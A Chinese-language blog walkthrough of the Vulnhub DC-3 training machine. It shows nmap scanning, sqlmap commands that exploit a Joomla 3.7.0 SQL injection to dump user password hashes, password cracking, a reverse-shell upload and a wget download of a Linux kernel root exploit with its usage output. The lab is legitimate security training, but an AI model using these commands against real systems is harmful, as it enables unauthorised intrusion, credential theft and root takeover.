Vulnhub DC-3 Walkthrough


Vulnhub DC-3 Walkthrough

前言

忙了半个上午加上一个下午,干了 700 行代码,可谓是一个好的编辑器对一个人的效率是多么的有好处。这个三号靶场就留到了晚上来做了,希望我今晚上能思路绵绵吧,Happy Hacking!

于谦
石灰吟

千锤万凿出深山,

烈火焚烧若等闲。

粉骨碎身浑不怕,

要留清白在人间。

信息收集

IP 信息

还是老样子,最近我真的是爱上了这个 arp-scan 这个工具了,别的不说,毕竟特定的工具有特定的用途,咱就是说咱局域网扫描这一块儿,尤其是在自己的环境下。那是真的快。一秒不到就可以获得目标的 ip 地址。

端口信息

这没什么好说的,在端口扫描面前,nmap 永远的神。

nmap -A -T4 192.168.17.169 -p-

发现只开放了一个 80 端口。

This time, there is only one flag, one entry point and no clues.

To get the flag, you’ll obviously have to gain root privileges.

How you get to be root is up to you - and, obviously, the system.

Good luck - and I hope you enjoy this little challenge. :-)

竟然在冷嘲热讽。

枚举 HTTP

首先是使用 dirb 对目标网站进行扫描。

发现一个名为管理员的目录,也不知道有没有价值,咱就进去看看。

发现 cms

看上去像是一个网站的后台管理界面。使用的 cmsjoomla。这个时候要确认下这个 cms 的版本是什么了,发现网站目录下有一个 README 文件。

searchsploit

从上面的信息搜索结果来看,这个版本可能存在 SQL 注入,试一下。

SQL 注入

┌──(root㉿localhost)-[~]
└─# searchsploit -m 42033  
  Exploit: Joomla! 3.7.0 - 'com_fields' SQL Injection
      URL: https://www.exploit-db.com/exploits/42033
     Path: /usr/share/exploitdb/exploits/php/webapps/42033.txt
File Type: ASCII text

Copied to: /root/42033.txt

文件里面讲述了如何利用这个漏洞。

去试一下。

sqlmap -u "http://192.168.17.169/index.php?option=com_fields&view=fields&layout=modal&list[fullordering]=updatexml" --risk=3 --level=5 --random-agent --dbs -p list[fullordering]

确认是存在注入漏洞的,那么可真是太好了,我现在要去脱库了。哈哈哈哈哈哈哈哈哈哈哈哈哈哈哈哈哈哈哈哈哈哈哈哈哈。

爆破数据库

首先进行数据表的爆破,选中 joomladb 数据库,这个看起来比较可疑。

sqlmap -u "http://192.168.17.169/index.php?option=com_fields&view=fields&layout=modal&list[fullordering]=updatexml" --risk=3 --level=5 --random-agent -D joomladb --tables -p list[fullordering]

这个 #__users 表一看就非常的可疑,这不一样就是存储用户名和密码的地儿吗。

sqlmap -u "http://192.168.17.169/index.php?option=com_fields&view=fields&layout=modal&list[fullordering]=updatexml" --risk=3 --level=5 --random-agent -D joomladb -T '#__users' -C name,password --dump --batch

使用 john 解密

登陆网站后台

使用用户名 admin,密码 snoopy 登陆后台试试。

上传反弹shell

修改完直接在浏览器输入网站的 ip 地址访问即可成功连接 shell。

提权

python -c "import pty;pty.spawn('/bin/bash')"

下载好漏洞利用程序。这个是在 kali 里面查到的。结尾附上利用说明。

cd /tmp && wget https://github.com/offensive-security/exploitdb-bin-sploits/raw/master/bin-sploits/39772.zip

另一种提权方式

说明

An exploit that puts all this together is in exploit.tar. Usage:

user@host:~/ebpf_mapfd_doubleput$ ./compile.sh
user@host:~/ebpf_mapfd_doubleput$ ./doubleput
starting writev
woohoo, got pointer reuse
writev returned successfully. if this worked, you'll have a root shell in <=60 seconds.
suid file detected, launching rootshell...
we have root privs now...
root@host:~/ebpf_mapfd_doubleput# id
uid=0(root) gid=0(root) groups=0(root),4(adm),24(cdrom),27(sudo),30(dip),46(plugdev),113(lpadmin),128(sambashare),999(vboxsf),1000(user)

This exploit was tested on a Ubuntu 16.04 Desktop system.

Fix: https://git.kernel.org/cgit/linux/kernel/git/torvalds/linux.git/commit/?id=8358b02bf67d3a5d8a825070e1aa73f25fb2e4c7


Proof of Concept: https://bugs.chromium.org/p/project-zero/issues/attachment?aid=232552
Exploit-DB Mirror: https://github.com/offensive-security/exploitdb-bin-sploits/raw/master/bin-sploits/39772.zip

文章作者: Justice
版权声明: 本博客所有文章除特別声明外,均采用 CC BY 4.0 许可协议。转载请注明来源 Justice !
  目录